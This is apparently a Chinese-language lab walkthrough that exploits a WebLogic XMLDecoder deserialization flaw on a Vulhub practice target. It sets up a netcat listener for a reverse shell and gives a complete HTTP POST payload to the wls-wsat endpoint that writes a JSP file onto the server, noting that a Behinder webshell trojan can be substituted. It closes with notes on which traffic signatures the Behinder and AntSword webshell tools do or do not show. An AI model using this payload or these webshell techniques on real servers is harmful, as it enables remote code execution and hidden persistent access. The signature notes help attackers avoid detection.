直接用vuluhub搭建现成的靶场做
访问靶场
打开是这样表示成功
想反弹shell
就先开启kali1的nc监听，这就监听2233端口吧
linux：nc -l -p 2233
抓包修改为攻击数据包
ip和端口可以任意修改
反弹的shell
还可以写入文件shell
只需要把提供的poc
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %> #把这里替换成冰蝎的木马就可以了
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
原理：Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML（SOAP协议）数据，在解析的过程中出现反序列化漏洞，导致任意代码执行。出问题的包是wls-wsat、_async。
冰蝎成功连接数
不愧是冰蝎4.0啊，吊特征都没有
冰蝎2.0有一个accept 里面有个 q=.2
冰蝎3.0就开始没有强特征了Content-Type: application/octet-stream
就这一个若特征
换上蚁剑在抓个包看看
蚁剑比较有趣了
蚁剑
base64加密的值，但需要去掉前面两个字母才是密文
强特征，ua投的antsword和@ini_set(“display_errors”, “0”);@set_time_limit(0)
ping
an
